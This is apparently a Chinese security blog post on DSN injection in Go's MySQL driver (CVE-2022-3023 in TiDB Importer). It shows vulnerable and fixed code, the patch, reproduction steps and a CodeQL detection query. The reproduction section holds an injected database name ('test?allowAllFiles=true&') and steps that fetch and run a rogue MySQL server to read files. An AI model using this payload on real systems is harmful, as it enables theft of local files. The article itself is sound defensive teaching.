本文是i春秋论坛签约作家「fatmo」分享的技术文章,所涉及的内容仅限用于学习和研究目的,不得将正文内容用于商业或者非法用途!公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
fatmo
2年网络安全行业的从业经验,目前做安全开发的工作,擅长恶意代码分析,能熟练地排查各种恶意软件,找出潜在的安全威胁,保障系统程序的稳定运行。
该文章首发在i春秋论坛,欢迎各位师傅完成专业爱好者认证,可第一时间获取最新技术资讯和实战技能分享。
(识别二维码,快速完成认证)
DSN
DNS Injection
代码示例
问题代码
func bad() interface{} {
name := os.Args[1:]
// This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files.
dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
db, _ := sql.Open("mysql", dbDSN)
return db
}
正确代码
func good() (interface{}, error) {
name := os.Args[1]
hasBadChar, _ := regexp.MatchString(".*[?].*", name)
if hasBadChar {
return nil, errors.New("Bad input")
}
dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
db, _ := sql.Open("mysql", dbDSN)
return db, nil
}
CVE-2022-3023
漏洞描述
TiDB Importer
漏洞分析
漏洞修复的补丁在这里:
dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", cfg.User, cfg.Password, cfg.Host, cfg.Port, cfg.Name)
db, err := sql.Open("mysql", dbDSN)
driverCfg := mysql2.NewConfig()
driverCfg.User = cfg.User
driverCfg.Passwd = cfg.Password
driverCfg.Net = "tcp"
driverCfg.Addr = cfg.Host + ":" + strconv.Itoa(cfg.Port)
driverCfg.DBName = cfg.Name
c, err := mysql2.NewConnector(driverCfg)
漏洞复现
git clone https://github.com/pingcap/tidb.git
git checkout tags/v6.1.2
cd tidb/cmd/importer
go build .
wget -q https://github.com/allyshka/Rogue-MySql-Server/raw/master/roguemysql.php
# 运行 Rogue-MySql-Server 脚本
php roguemysql.php /path/to/target/file
[db]
host = "127.0.0.1"
user = "root"
password = ""
name = "test?allowAllFiles=true&"
port = 3306
./importer -config config.toml
CodeQL查询分析
污点分析模型构建
abstract class Source extends DataFlow::Node { }
private module DsnInjectionConfig implements DataFlow::ConfigSig {
predicate isSource(DataFlow::Node source) { source instanceof Source }
predicate isSink(DataFlow::Node sink) {
exists(DataFlow::CallNode c |
c.getTarget().hasQualifiedName("database/sql", "Open") and
c.getArgument(0).getStringValue() = "mysql"
|
sink = c.getArgument(1)
)
}
predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier }
}
predicate isSource(DataFlow::Node source) { source instanceof Source }
predicate isSink(DataFlow::Node sink) {
exists(DataFlow::CallNode c |
c.getTarget().hasQualifiedName("database/sql", "Open") and
c.getArgument(0).getStringValue() = "mysql"
|
sink = c.getArgument(1)
)
}
predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier
查询代码
import go
import DsnInjectionCustomizations
import DsnInjectionFlow::PathGraph
/** An untrusted flow source taken as a source for the `DsnInjection` taint-flow configuration. */
private class UntrustedFlowAsSource extends Source instanceof UntrustedFlowSource { }
from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink
where DsnInjectionFlow::flowPath(source, sink)
select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(),
"untrusted user input"
from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink
where DsnInjectionFlow::flowPath(source, sink)
select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(), "untrusted user input"
总 结
(联系管理员,申请入群)
在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!
原文始发于微信公众号(i春秋):DSN Injection(CVE-2022-3023)